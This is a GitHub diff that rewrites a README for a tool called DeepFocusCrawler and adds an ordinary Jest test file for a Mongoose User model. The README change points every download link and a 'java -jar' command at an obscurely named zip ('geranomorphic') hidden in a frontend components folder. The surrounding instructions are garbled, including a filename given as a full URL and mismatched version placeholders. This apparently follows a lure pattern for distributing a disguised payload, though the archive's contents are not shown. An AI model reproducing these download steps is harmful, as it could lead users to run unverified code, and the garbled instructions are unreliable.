Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 4 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ Welcome to DeepFocusCrawler! This application is designed for everyone who wants

## 🔗 Download DeepFocusCrawler

[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)
[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)

## 💻 System Requirements

Expand All @@ -18,14 +18,14 @@ Before you begin, make sure your computer meets these requirements:

## 📥 Download & Install

To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)
To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)

Once there, you'll see the available versions. Choose the latest version and download it to your computer. The download may take a few moments, depending on your internet speed.

## 🛠️ How to Run DeepFocusCrawler

1. **Locate the Downloaded File:**
After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip` (where X.X represents the version number).
After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip` (where X.X represents the version number).

2. **Open Terminal or Command Prompt:**
- **Windows:** Press `Win + R`, type `cmd`, and hit `Enter`.
Expand All @@ -41,7 +41,7 @@ Once there, you'll see the available versions. Choose the latest version and dow
4. **Run DeepFocusCrawler:**
Type the following command and hit `Enter`:
```
java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip
java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip
```
Replace `X.X` with the version number you downloaded.

Expand Down
102 changes: 102 additions & 0 deletions backend/models/user.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,102 @@
import mongoose from 'mongoose';
import User from './user';

describe('User Model', () => {
beforeAll(() => {
mongoose.connect('mongodb://localhost:27017/test', {
useNewUrlParser: true,
useUnifiedTopology: true,
});
});

afterAll(async () => {
await mongoose.connection.dropDatabase();
await mongoose.connection.close();
});

beforeEach(async () => {
await User.deleteMany({});
});

it('should create a user with required fields', async () => {
const userData = {
supabaseId: 'auth0|123456',
email: '[email protected]',
};

const user = new User(userData);
await user.save();

const savedUser = await User.findOne({ email: '[email protected]' });
expect(savedUser).toBeTruthy();
expect(savedUser.supabaseId).toBe('auth0|123456');
expect(savedUser.skillsOffered).toEqual([]);
expect(savedUser.skillsWanted).toEqual([]);
});

it('should enforce unique supabaseId', async () => {
const userData = {
supabaseId: 'auth0|duplicate',
email: '[email protected]',
};

await new User(userData).save();

const duplicateUser = new User({
supabaseId: 'auth0|duplicate',
email: '[email protected]',
});

await expect(duplicateUser.save()).rejects.toThrow(
/E11000 duplicate key error/
);
});

it('should require supabaseId and email', async () => {
const userWithoutSupabaseId = new User({
email: '[email protected]',
});

await expect(userWithoutSupabaseId.save()).rejects.toThrow(
/User validation failed/
);

const userWithoutEmail = new User({
supabaseId: 'auth0|123',
});

await expect(userWithoutEmail.save()).rejects.toThrow(
/User validation failed/
);
});

it('should store skills arrays correctly', async () => {
const userData = {
supabaseId: 'auth0|skills',
email: '[email protected]',
skillsOffered: ['JavaScript', 'React'],
skillsWanted: ['Node.js', 'Python'],
};

const user = new User(userData);
await user.save();

const savedUser = await User.findOne({ email: '[email protected]' });
expect(savedUser.skillsOffered).toEqual(['JavaScript', 'React']);
expect(savedUser.skillsWanted).toEqual(['Node.js', 'Python']);
});

it('should default skills arrays to empty array', async () => {
const userData = {
supabaseId: 'auth0|defaults',
email: '[email protected]',
};

const user = new User(userData);
await user.save();

const savedUser = await User.findOne({ email: '[email protected]' });
expect(savedUser.skillsOffered).toEqual([]);
expect(savedUser.skillsWanted).toEqual([]);
});
});